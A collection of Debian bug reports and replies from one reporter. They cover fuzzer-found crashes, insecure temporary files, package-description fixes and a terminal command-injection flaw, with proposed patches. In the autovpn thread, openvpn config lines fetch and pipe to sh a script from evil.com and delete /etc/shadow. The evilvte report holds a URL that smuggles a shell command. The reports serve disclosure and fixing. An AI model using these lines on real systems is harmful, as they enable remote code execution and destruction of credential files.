Bug#910279: ITP: optimesh -- Mesh optimization, mesh smoothing.
> Description : Mesh optimization, mesh smoothing. > > Several mesh smoothing/optimization methods with one simple interface. > optimesh > - is fast, > - preserves submeshes, > - only works for triangular meshes (for now; upvote this issue if you're > interested in tetrahedral mesh smoothing), and I suspect this description should be updated, if only because "this issue" isn't a link that users could follow. Steve -- https://steve.fi/
Bug#865105: gitlab: leaves stale systemd service symlinks after purge
Your bug report is correct, but it is really just a more specific example of the problem already reported in #863960: https://bugs.debian.org/863960 Steve -- https://steve.fi/
Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
On Mon Feb 19, 2018 at 12:44:40 +0100, Michael Meskes wrote: > > * It relies upon the external VPNGate.net site/service. If this > > goes away in the lifetime of a stable Debian release users will > > be screwed. > > That is actually a good point. I wonder if using a local copy might be > a good alternative. If you're willing to maintain such a list, resyncing it every few days/months to reap dead-entries and add new ones then that would be good. > > * It allows security attacks against the local system, which other > > users on the host could exploit via symlink attacks on > > /tmp/openvpnconf > > True, but this could be handled by using a better system to access a > temp file. Sure. If you changed the code to use ioutil.TempFile, or some other secure alternative that specific objection will go away. > > 1. The tool downloads a remote URL to /tmp/openvpnconf > > > > 2. The file is then given as an argument to the command: > > sudo openvpn /tmp/openvpnconf > > > > 3. That generated/downloaded openvpn configuration file could > >be written to do anything, up to and including `rm -rf /`. > > Can you actually get openvpn to do this? Yes. For example these snippets will do what you fear they will: script-security 2 up curl http://evil.com/root-me.sh | sh up rm /etc/shadow down rm -f /etc/passwd > I read this not as "insecure for the system it runs on" but "insecure > on the connection side". This is certainly not something you should use > to open your local network to, or to do something illegal. As per the insecure fixed name, and the execution of commands from a remote HTTP-site (not even SSL!) I think it is insecure in all regards. Also I guess you'll need to change the script to remove "sudo", or better yet add a restricted user with sudo's nopasswd setup for it (shudder). Steve -- https://www.steve.org.uk/
Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> Version : 0.0~git20170129.72dd7f6-1 > Upstream Author : Adhityaa C > * URL : https://github.com/adtac/autovpn .. > autovpn is a tool to automatically connect you to a random VPN > in a country of your choice. It uses openvpn to connect you to a server > obtained from VPN Gate (http://www.vpngate.net/en/). I'd strongly urge you to reconsider packaging this project, for three main reasons: * It relies upon the external VPNGate.net site/service. If this goes away in the lifetime of a stable Debian release users will be screwed. * It allows security attacks against the local system, which other users on the host could exploit via symlink attacks on /tmp/openvpnconf * It allows security attacks on against the local system which the remote service could exploit: 1. The tool downloads a remote URL to /tmp/openvpnconf 2. The file is then given as an argument to the command: sudo openvpn /tmp/openvpnconf 3. That generated/downloaded openvpn configuration file could be written to do anything, up to and including `rm -rf /`. > A small tool that comes handy in particular for people who travel a lot. Will > be maintained in the go-team. Finally the project itself notes: "This is completely insecure. Please do not use this for anything important. Get a real and secure VPN. This is mostly a fun tool to get a VPN for a few minutes." Steve --
Bug#883075: ITP: memleax -- debug a running process for memoy leaks without recompiling or restarting
> Description : debug a running process for memoy leaks without > recompiling or restarting Typo: "memory", not "memoy". > Memleax debugs a program for memory leaks by attaching to a running process, > similarly to how gdb's does. It then hooks into the target process's > invocation of memory allocation and free, and reports in real time the > memory blocks that it identifies as memory leaks. This section doesn't could be rewritten for clarity, the "'s" are wrong either way. > The default expiration threshold is 10 seconds; however, you should > always set this with the -e option according to your scenarios. This doesn't need to be in the package description. > It is very convenient to use, and is suitable for production > environments. Sounds like a nice tool indeed, thanks for packaging it :) > and then kill memleax (e.g. sent it a SIGINT with Ctrl-C) to stop > monitoring. "sent" -> "send". But again this probably doesn't need to be in the description. > Differences from Valgrind: > . > * Valgrind starts the target process, while memleax attaches to on that is >already running. Nor this. Steve -- https://www.steve.org.uk/
Bug#873292: facter: Bogus output received with interface named 'master'.
Package: facter
Version: 2.4.6-1
Severity: minor
Dear Maintainer,
Since upgrading a virtual-machine host from jessie to stretch I started
seeing this email every hour, when puppet ran:
To: root
From: root(Cron Daemon)
Cc:
Subject: Cron /usr/bin/puppet agent --onetime ..
Command line is not complete. Try option "help"
I eventually tracked this output down to factor, as I could see it when
running `facter --debug`:
root@smaug ~ # facter --debug
Found no suitable resolves of 1 for ec2_metadata
..
value for macaddress_lo is still nil
value for ipaddress_master is still nil
value for ipaddress6_master is still nil
Command line is not complete. Try option "help"
value for netmask_master is still nil
value for ipaddress_skx_mail is still nil
Eventually I tracked this output down to the following function :
def self.get_bonding_master(interface)
(Which is present in /usr/lib/ruby/vendor_ruby/facter/util/ip.rb)
That runs:
ip link show $interface
On my host that works for most interfaces, but not for master:
root@smaug ~ # ip link show master
Command line is not complete. Try option "help"
To resolve the problem I updated the code of that function from:
ethbond = regex.match(%x{/sbin/ip link show '#{interface}'})
To:
ethbond = regex.match(%x{/sbin/ip link show dev '#{interface}'})
I'm not 100% sure this is a bug, but I think it probably is ..
-- System Information:
Debian Release: 8.9
APT prefers oldstable-updates
APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Bug#854585: Acknowledgement (evilvte: Allows executing (unexpected) commands via mouse-clicks)
Tags: patch One approach at solving this problem would be to stop highlighting the URL at the first "'" character. This matches what gnome-terminal, and others, do already even though I don't believe this character _should_ be escaped. This can be achieved by updating the regexp: deagol ~/evilvte/src $ diff --unified macro2.h macro2.h.new --- macro2.h2017-02-09 07:40:21.972749915 +0200 +++ macro2.h.new2017-02-09 07:40:38.256749654 +0200 @@ -130,7 +130,7 @@ #define LABEL_SUBMENU_IME "_Input Methods" #endif -#define MATCH_HTTP_DATA "((f|F)|(h|H)(t|T))(t|T)(p|P)(s|S)?://(([^|.< \t\r\n\\\"]*([.][^|< \t\r\n\\\"])?[^|.< \t\r\n\\\"]*)*[^< \t\r\n,;|\\\"]*[^|.< \t\r\n\\\"])?/*" +#define MATCH_HTTP_DATA "((f|F)|(h|H)(t|T))(t|T)(p|P)(s|S)?://(([^|.< \t\r\n\\\"']*([.][^|< \t\r\n\\\"'])?[^|.< \t\r\n\\\"']*)*[^< \t\r\n,;|\\\"']*[^|.< \t\r\n\\\"'])?/*" #define MATCH_FILE_DATA "(f|F)(i|I)(l|L)(e|E):///(([^|.< \t\r\n\\\"]*([.][^|< \t\r\n\\\"])?[^|.< \t\r\n\\\"]*)*[^< \t\r\n,;|\\\"]*[^|.< \t\r\n\\\"])?/*" #define MATCH_MAIL_DATA "(m|M)(a|A)(i|I)(l|L)(t|T)(o|O):(([^|.< \t\r\n\\\"]*([.][^|< \t\r\n\\\"])?[^|.< \t\r\n\\\"]*)*@[^< \t\r\n,;|\\\"]*[^|.< \t\r\n\\\"])?/*" That probably needs a sanity-check from the maintainer/upstream somebody else. I've just added ' everywhere I saw ". Steve --
Bug#854585: evilvte: Allows executing (unexpected) commands via mouse-clicks
Package: evilvte Version: 0.5.1-1 Severity: important Tags: security Dear Maintainer, Although a terminal is designed to execute commands it is unexpected that clicking on hyperlinks would execute arbitrary code, and unfortunately that is trivially possible. Consider the following hyperlink: http://example.com';touch$IFS/tmp/blah' If that is displayed in the shell it will be highlighted, completely, and clicking upon it will do two things: * open http://example.com/ in the users' browser (firefox). * Create the file /tmp/blah This comes from one of several regions of the code: g_snprintf(new_window_str, sizeof(new_window_str), "%s '%s' &", MATCH_STRING_L, matched_url); system(new_window_str); Or: char new_window_str[256]; if (event->button == 2) g_snprintf(new_window_str, sizeof(new_window_str), "%s '%s' &", MATCH_STRING_M, matched_url); system(new_window_str); An evil attacker could use this to send a link by email, which would be displayed via mutt/lumail/rmail/etc, and thus the user would click upon it. Mitigating factors: The string is capped to 240 characters or so, once you remove "firefix '...'&" from the string. So if a user has a sufficiently wide terminal they might be OK ;) Finally there is a simpler way opening a new window could also do evil things, due to the use of `default_directory`: g_snprintf(new_window_str, sizeof(new_window_str), "cd '%s' ; %s &", default_directory, PROGRAM_NAME); system(new_window_str); I'd suggest a decent audit of all uses of `system` to catch these flaws, but I'd expect both of these flaws would qualify for CVE identifiers .. -- System Information: Debian Release: 8.7 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages evilvte depends on: ii libc6 2.19-18+deb8u7 ii libglib2.0-0 2.42.1-1+b1 ii libgtk2.0-0 2.24.25-3+deb8u1 ii libvte9 1:0.28.2-5 evilvte recommends no packages. evilvte suggests no packages. -- no debconf information
Bug#843120: ITP: freight -- easy-to-understand shell script to handle APT repositories
On Fri Nov 04, 2016 at 02:10:56 +0100, Nicolas Braud-Santoni wrote: > Description : easy-to-understand shell script to handle APT repositories > freight is an easy-to-use and to understand shell script for > building packages and keeping them in an up-to-date and signed > reporitory. Minor issue - but that should be "repository". Steve -- https://steve.fi/ signature.asc Description: Digital signature
Bug#820373: w3m: SEGFAULT on bogus HTML
> Fixed, thank you. > > - > https://anonscm.debian.org/cgit/collab-maint/w3m.git/commit/?id=5a159af05d8556a3f9f8f1a42d8fc153ffbc9694 > I confirm that fixes the problem. Thanks once more for your prompt attention. > Welcome to add more info, so that I'll confirm the problems are > really fixed. Sure thing. I will do so next time. All my current samples are fixed; I'll start searching again. Steve --
Bug#820373: w3m: SEGFAULT on bogus HTML
Package: w3m Version: 0.5.3-19 Severity: important Tags: security Dear Maintainer, Please find attached a pair of files, each of these cause w3m to segfault when run as follows: cat $file | w3m -dump The crash is a segfault, which is probably not exploitable but may be to somebody who puts in more effort than I did! On the face of it this is a minor/normal bug, until you consider the case of users who run mutt and use w3m to convert HTML emails to plaintext, that situation is common and as such I've raised the severity. The crashes both have a similar backtrace: (gdb) bt #0 wc_N_to_johab1 (code=4294963072) at johab.c:163 #1 wc_cs128w_to_johab (cc=...) at johab.c:234 #2 0x00715106 in wtf_parse1 (p=) at wtf.c:454 #3 0x00716125 in wtf_parse (p=p@entry=0x7fffee1aa9f8) at wtf.c:473 #4 0x006d4b8b in wc_conv_to_ces (ces=0, is=0x125b5e0) at conv.c:93 #5 wc_Str_conv (is=is@entry=0x125b5e0, f_ces=, t_ces=t_ces@entry=3178565) at conv.c:23 #6 0x004ba1ea in _saveBuffer (buf=buf@entry=0x125ce00, l=0x1260f60, f=0x7fac731162a0 <_IO_2_1_stdout_>, cont=cont@entry=0) at file.c:7595 #7 0x004ba726 in saveBuffer (buf=buf@entry=0x125ce00, f=, cont=cont@entry=0) at file.c:7613 #8 0x00414ec2 in do_dump (buf=0x125ce00) at main.c:1337 #9 0x00407b25 in main (argc=0, argv=0x125b980, envp=0x6f74a6 ) at main.c:1043 PS. I have more samples that crash in the same area of code, I suspect that they will all be fixed at once as per #820162, so I'm only sharing a pair of files. Steve -- -- System Information: Debian Release: 8.4 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages w3m depends on: ii libc62.19-18+deb8u4 ii libgc1c2 1:7.2d-6.4 ii libgpm2 1.20.4-6.1+b2 ii libssl1.0.0 1.0.1k-3+deb8u4 ii libtinfo55.9+20140913-1+b1 ii zlib1g 1:1.2.8.dfsg-2+b1 Versions of packages w3m recommends: ii ca-certificates 20141019+deb8u1 Versions of packages w3m suggests: pn cmigemo ii man-db2.7.0.2-5 ii mime-support 3.58 pn w3m-el pn w3m-img -- no debconf information ÿ0ÿÿÿ0ÿÿ
Bug#820162: w3m: SEGFAULT on bogus HTML
On Thu Apr 07, 2016 at 06:51:52 +0900, Tatsuya Kinoshita wrote: > > Confirmed, thank you. > > Fixed in the development repo. > > - > https://anonscm.debian.org/cgit/collab-maint/w3m.git/commit/?id=7bb2a4671503c41d63989dcef9ef54dea0c73b43 > > Will be fixed in the next upload for unstable. Thanks for your prompt attention, and fix! Steve -- http://www.steve.org.uk/
Bug#820162: w3m: SEGFAULT on bogus HTML
Package: w3m Version: 0.5.3-19 Severity: important Tags: security Dear Maintainer, Please find attached a tarball which contains two files, a generated one, and one which has been reduced to the smallest possible test-case. Each of those files causes w3m to segfault when run as follows: cat $file | w3m -dump The crash is a segfault, which is probably not exploitable but may be to somebody who puts in more effort than I did! On the face of it this is a minor/normal bug, until you consider the case of users who run mutt and use w3m to convert HTML emails to plaintext, that situation is common and as such I've raised the severity. The crash is in some horrible code which is converting the file to UTF-8, as the following backtrace shows: (gdb) bt #0 wc_any_to_ucs (cc=...) at ucs.c:274 #1 0x0070d73a in wc_push_to_utf8 (os=os@entry=0xed8940, cc=..., st=st@entry=0x7fff11c174c0) at utf8.c:276 #2 0x006d4b9b in wc_conv_to_ces (ces=0, is=0xed8960) at conv.c:93 #3 wc_Str_conv (is=is@entry=0xed8960, f_ces=, t_ces=t_ces@entry=3178565) at conv.c:23 #4 0x004ba1ea in _saveBuffer (buf=buf@entry=0xed9e00, l=0xeddf60, f=0x7efc1c5ce2a0 <_IO_2_1_stdout_>, cont=cont@entry=0) at file.c:7595 #5 0x004ba726 in saveBuffer (buf=buf@entry=0xed9e00, f=, cont=cont@entry=0) at file.c:7613 #6 0x00414ec2 in do_dump (buf=0xed9e00) at main.c:1337 #7 0x00407b25 in main (argc=-1, argv=0xed8a00, envp=0x8800) at main.c:1043 Mitigating factors? Interestingly the following does NOT crash: w3m -dump $file Steve -- https://www.steve.org.uk/ -- System Information: Debian Release: 8.3 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages w3m depends on: ii libc62.19-18+deb8u3 ii libgc1c2 1:7.2d-6.4 ii libgpm2 1.20.4-6.1+b2 ii libssl1.0.0 1.0.1k-3+deb8u4 ii libtinfo55.9+20140913-1+b1 ii zlib1g 1:1.2.8.dfsg-2+b1 Versions of packages w3m recommends: ii ca-certificates 20141019+deb8u1 Versions of packages w3m suggests: pn cmigemo ii man-db2.7.0.2-5 ii mime-support 3.58 pn w3m-el pn w3m-img -- no debconf information crash.tar.gz Description: application/gzip
Bug#816277: gawk: Invalid program crashes the parser
Package: gawk
Version: 1:4.1.1+dfsg-1
Severity: important
Dear Maintainer,
The following wonderful program causes an immediate segfault in the
parse-process of gawk:
for (i = ) in foo bar baz
For example:
shelob ~ $ cat t.gawk
for (i = ) in foo bar baz
shelob ~ $ gawk -f t.gawk
gawk: t.gawk:1: for (i = ) in foo bar baz
gawk: t.gawk:1: ^ syntax error
gawk: t.gawk:1: for (i = ) in foo bar baz
gawk: t.gawk:1: ^ syntax error
gawk: t.gawk:1: fatal error: internal error: segfault
Aborted
This error comes from a NULL-pointer dereference in awkgram.yy, around line
1350:
if ($1->lasti->opcode == Op_concat) {
/* multiple (> 2) adjacent strings optimization */
The following patch turns this into an immediate exit, rather than dereference
of $1->lasti (which is NULL):
--- /home/skx/gawk-4.1.1+dfsg/awkgram.y 2014-03-05 06:00:36.0 +0200
+++ awkgram.y 2016-02-29 13:50:43.239771376 +0200
@@ -1343,6 +1343,10 @@
int count = 2;
bool is_simple_var = false;
+if ( ( $1 == NULL ) || ($1->lasti == NULL ) ) {
+yyerror("Fatal error");
+YYABORT;
+}
if ($1->lasti->opcode == Op_concat) {
/* multiple (> 2) adjacent strings optimization */
is_simple_var = ($1->lasti->concat_flag & CSVAR);
-- System Information:
Debian Release: 8.3
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages gawk depends on:
ii libc6 2.19-18+deb8u3
ii libgmp10 2:6.0.0+dfsg-6
ii libmpfr4 3.1.2-2
ii libreadline6 6.3-8+b3
ii libsigsegv2 2.10-4+b1
gawk recommends no packages.
Versions of packages gawk suggests:
pn gawk-doc
-- no debconf information
Bug#816271: gawk: It should not be possible to segfault gawk
Package: gawk
Version: 1:4.1.1+dfsg-1
Severity: important
Dear Maintainer,
While I appreciate that passing untrusted code to gawk is not a common thing to
do, I do not believe that it should be possible to trigger a segfault though.
The following "program" will crash gawk though:
$ echo | gawk '{ print( @olower( "steve" ) ) }'
gawk: cmd. line:1: (FILENAME=- FNR=1) fatal error: internal error: segfault
Aborted
The specific problem here is the error-handling in `interpret.h`, which
contains the following code:
if (f == NULL || f->type != Node_func) {
if (f->type == Node_ext_func || f->type == Node_old_ext_func)
fatal(_("cannot (yet) call extension functions
indirectly"));
else
fatal(_("function called indirectly through `%s' does not
exist"),
pc->func_name);
}
pc->func_body = f; /* save for next call */
The first condition says:
* If f is NULL
* OR f->type != ..
Assume f is NULL, then the very next line reads:
if ( f->type == )
Which is an immediate segfault! One possible patch would be to change this:
if (f->type == Node_ext_func || f->type == Node_old_ext_func)
To the following, to explicitly look for a non-NULL f:
if ( f && (f->type == Node_ext_func || f->type ==
Node_old_ext_func) )
-- System Information:
Debian Release: 8.3
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages gawk depends on:
ii libc6 2.19-18+deb8u3
ii libgmp10 2:6.0.0+dfsg-6
ii libmpfr4 3.1.2-2
ii libreadline6 6.3-8+b3
ii libsigsegv2 2.10-4+b1
gawk recommends no packages.
Versions of packages gawk suggests:
pn gawk-doc
-- no debconf information
Bug#810883: catdoc: Invalid memory access and segfaulting
> Fair enough. In any case, I am going to upload to backports as soon as > the version in sid stabilises. Great. > Well, I think a DSA would be too much for a tool like this :) Specially > since there has not been any PoC to show a real security issue. I won't try to force it, but I'd certainly consider it worthy of such a thing. Just because people, like me, use catdoc in their console-mail clients to read arbitrary/untrusted documents received. If there is even a hint that memory corruption can lead to code execution that's a severe problem. > like to lower the severity of this bug, but I would gladly keep it if > you can find a real threat there. I suspect the only way to know for sure is to develop an exploit, and memory-corruption issues are something I've not touched for a while - buffer overflows are much easier to reason about! > Thanks for the test file. i will debug this and try to come up with a fix. Great. I have about twenty more files that crash the version of catdoc available to sid. I will wait to see your fix, and once posted I'll test the current samples against them, I expect that some of them are non-unique. Steve --
Bug#810883: catdoc: Invalid memory access and segfaulting
On Wed Jan 13, 2016 at 18:08:44 -0300, Martín Ferrari wrote: > > When running under valgrind we see that an attempt is made to access > > an invalid pointer: > > This is a known issue (#679877), it was fixed when I took over this > package, and it has already reached testing. Having the fixed package reach testing is good for users running testing, but not much use to people running stable/jessie as I am. I think that this is certainly a bug worthy of a DSA, or update in the next point-release. Memory corruption via reading a file smells like a security issue. > with the latest catdoc, and it does not segfault. > Can you verify this? Yes. Latest catdoc doesn't segfault with `x.doc`, but continues to segfault with `xx.doc` (attached). Steve -- xx.doc.gz Description: application/gzip
Bug#810883: catdoc: Invalid memory access and segfaulting
Package: catdoc Version: 0.94.4-1.1 Severity: important Tags: security Dear Maintainer, The attached word document will cause catdoc to crash when executed: catdoc x.doc When running under valgrind we see that an attempt is made to access an invalid pointer: ==6875== Invalid read of size 8 ==6875==at 0x41B91D: map_subst (substmap.c:151) ==6875==by 0x417E08: convert_char (charsets.c:241) ==6875==by 0x4064E0: copy_out (reader.c:82) ==6875==by 0x40A807: analyze_format (analyze.c:75) ==6875==by 0x40378B: main (catdoc.c:180) ==6875== Address 0xd221cf8 is not stack'd, malloc'd or (recently) free'd Running under gdb we see this is the area of code in question: (gdb) run ~/x.doc Starting program: /home/steve/inst/bin/catdoc x.doc Program received signal SIGSEGV, Segmentation fault. 0x0041b91d in map_subst (map=0x6ad1a0, uc=uc@entry=-1) at substmap.c:151 151 char **p=map[(unsigned)uc >>8]; (gdb) bt #0 0x0041b91d in map_subst (map=0x6ad1a0, uc=uc@entry=-1) at substmap.c:151 #1 0x00417e09 in convert_char (uc=-1) at charsets.c:241 #2 0x004064e1 in copy_out (f=f@entry=0x6aec90, header=header@entry=0x7fffe340 "P\317\021\340\241\261\032\341\032") at reader.c:82 #3 0x0040a808 in analyze_format (f=f@entry=0x6aec90) at analyze.c:75 #4 0x0040378c in main (argc=, argv=) at catdoc.c:180 I'm reporting this as "important" because I believe that running catdoc on untrusted input should not result in a segfault. It may be a security-sensitive issue too, although that is not 100% confirmed. -- System Information: Debian Release: 8.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages catdoc depends on: ii libc6 2.19-18+deb8u1 catdoc recommends no packages. Versions of packages catdoc suggests: ii tk [wish] 8.6.0+8 -- no debconf information x.doc.gz Description: application/gzip
Bug#809252: node-cli: insecure use of temporary files
Package: node-cli Version: 0.4.4~20120516-1 Severity: critical Tags: security Dear Maintainer, The `node-cli` library makes insecure use of the following two temporary files: lock_file = '/tmp/' + cli.app + '.pid', log_file = '/tmp/' + cli.app + '.log'; These allow overwriting files that the starting-user has permission to modify. -- System Information: Debian Release: 8.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system)
Bug#808730: stalin: Insecure use of temporary files
Package: stalin Version: 0.11-5 Severity: critical Tags: security When `stalin` launches it attempts to detect its environment via the following code in /usr/lib/stalin/QobiScheme.sc: (system "uname -m >/tmp/QobiScheme.tmp") ... (system "rm -f /tmp/QobiScheme.tmp")) This is a prime example of the insecure use of temporary files, and allows overwriting any file owned by the user who invokes stalin. Trivial demonstration: $ ln -s /home/steve/HACK /tmp/QobiScheme.tmp $ ls -l /home/steve/HACK ls: cannot access /home/steve/HACK: No such file or directory Now run the sample code: $ cd /tmp/stalin-0.11/benchmarks $ ./make-hello And we see this: $ ls -l /home/steve/HACK -rw-r--r-- 1 steve steve 6 Dec 22 08:30 /home/steve/HACK -- System Information: Debian Release: 8.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages stalin depends on: ii dpkg-dev 1.17.26 ii libc6 2.19-18+deb8u1 ii libgc-dev 1:7.2d-6.4 stalin recommends no packages. stalin suggests no packages. -- no debconf information Steve --
Bug#801530: openssh-client: Segfault on malformed keys - possible security impact
The following patch seems to me to be a reasonable stab at fixing the NULL pointer dereference. Tested on Debian Jessie (amd64), against keys of type: * dsa * ecdsa * ed25519 * rsa * rsa1 On a valid key it shows the fingerprint. On my bogus sample it shows: line 2 too long: 4... /home/steve/fuz/output/crashes/crash.min.pub is not a public key file. Patch below. Feel free to include/rework. Steve -- --- sshkey.c.orig 2015-10-13 22:42:26.178252307 +0300 +++ sshkey.c2015-10-13 22:42:58.781080815 +0300 @@ -1198,6 +1198,9 @@ bits == 0 || bits > SSHBUF_MAX_BIGNUM * 8) return SSH_ERR_INVALID_FORMAT; /* Bad bit count... */ +if ( ret->rsa == NULL ) +return SSH_ERR_INVALID_FORMAT; + /* Get public exponent, public modulus. */ if ((r = read_decimal_bignum(&ep, ret->rsa->e)) < 0) return r;
Bug#801530: openssh-client: Segfault on malformed keys - possible security impact)
> .. and the exciting-looking address is apparently a typical load address > for the ssh binary. Yes. It was in the ascii-range, which made me more optimistic. (I'm too used to using AAA..AAA as input and seeing 0x41. 0x55 looks close enough to be plausible.) Steve --
Bug#801530: openssh-client: Segfault on malformed keys - possible security impact
I'm almost embarrassed to say that I submitted the wrong reproducer in my original bug report. The previous key does trigger the fault, but it is needlessly complex. The attachment to this mail should be considered a saner example, as it still triggers the crash, but it is is significantly shorter. Steve -- rsa1 6
Bug#801530: openssh-client: Segfault on malformed keys - possible security impact
Package: openssh-client Version: 1:6.7p1-5 Severity: important Tags: security Dear Maintainer, I believe that the sanest way to generate an SSH fingerprint, for display to users, etc, is via executing: ssh-keygen -l -f path/to/public.key This is the rationale behind the following blog-post: http://blog.steve.org.uk/generating_fingerprints_from_ssh_keys.html The gzipped key attached to this email, generated via magical-fuzzing, will result in a segfault, and a suspicious EIP setting. This may indicate code-execution possiblities, and so should probably have a CVE identifier assigned. Demonstration is as simple as: helsinki ~ $ ssh-keygen -l -f ~/key.trigger.pub Segmentation fault The backtrace shows EIP as 0x5556807e, which looks at least partially controllable. I've not yet delved into the details. -- System Information: Debian Release: 8.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages openssh-client depends on: ii adduser 3.113+nmu3 ii dpkg 1.17.25 ii libc6 2.19-18+deb8u1 ii libedit2 3.1-20140620-2 ii libgssapi-krb5-2 1.12.1+dfsg-19 ii libselinux1 2.3-2 ii libssl1.0.0 1.0.1k-3+deb8u1 ii passwd1:4.2-3 ii zlib1g1:1.2.8.dfsg-2+b1 Versions of packages openssh-client recommends: ii xauth 1:1.0.9-1 Versions of packages openssh-client suggests: pn keychain pn libpam-ssh pn monkeysphere pn ssh-askpass -- Configuration Files: /etc/ssh/ssh_config changed [not included] -- no debconf information key.trigger.pub.gz Description: application/gzip
Bug#772473: Acknowledgement (xbindkeys-config: Insecure use of temporary files)
Sorry for the slow reply, I wasn't Cc'd so I didn't see your reply. > Did you request a CVE for it already? No, I did not. > make me believe that the trust boundaries are not crossed here, thus > I suppose it will be tracked as a secuirity hardening issue, and not a > flaw. > What do you think? I suspect this program is only useful on a desktop system, and such systems might have multiple users. On that basis the flaw could allow user "a" to truncate/destroy files belonging to user "b", which is a boundary-cross. Unless I misunderstand how you use the term? I think that traditionally insecure uses of temporary files are tracked as security issues even if in practice they'll never be exploited. e.g. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2524 Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#772473: xbindkeys-config: Insecure use of temporary files
Package: xbindkeys-config
Version: 0.1.3-2
Severity: important
Tags: security
If you use this program and "view generated file" the current output
will be saved to the file /tmp/xbindkeysrc-tmp.
This allows the corruption of any file the user has permission to write
to.
Later this predictable file is used to execute commands:
/*/
void middle_apply_action(GtkWidget *parent, void *data)
{
unlink(TEMP_FILE);
save_file(TEMP_FILE);
system("killall -9 xbindkeys");
usleep(500);
/* printf("\n\noutput = %d\n\n",system("xbindkeys -f " TEMP_FILE ));
*/
system("xbindkeys -f " TEMP_FILE );
}
Really most of this complexity could go away if we just assumed the
editor would write to a file the user specified, or ~/.xbindkeysrc.
Given the number of bugs that have been untouched for a long time this
package should probably not go into the Jessie release without a good
update.
Regardless this is a classic case of insecure-temporary files and should
almost certainly have a CVE ID allocated.
Steve
-- System Information:
Debian Release: 7.7
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16-0.bpo.2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Versions of packages xbindkeys-config depends on:
ii libatk1.0-0 2.4.0-2
ii libc6 2.13-38+deb7u6
ii libcairo2 1.12.2-3
ii libfontconfig1 2.9.0-7.1
ii libfreetype62.4.9-1.1
ii libglib2.0-02.33.12+really2.32.4-5
ii libgtk2.0-0 2.24.10-2
ii libpango1.0-0 1.30.0-1
ii xbindkeys 1.8.5-1
ii zlib1g 1:1.2.7.dfsg-13
xbindkeys-config recommends no packages.
xbindkeys-config suggests no packages.
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
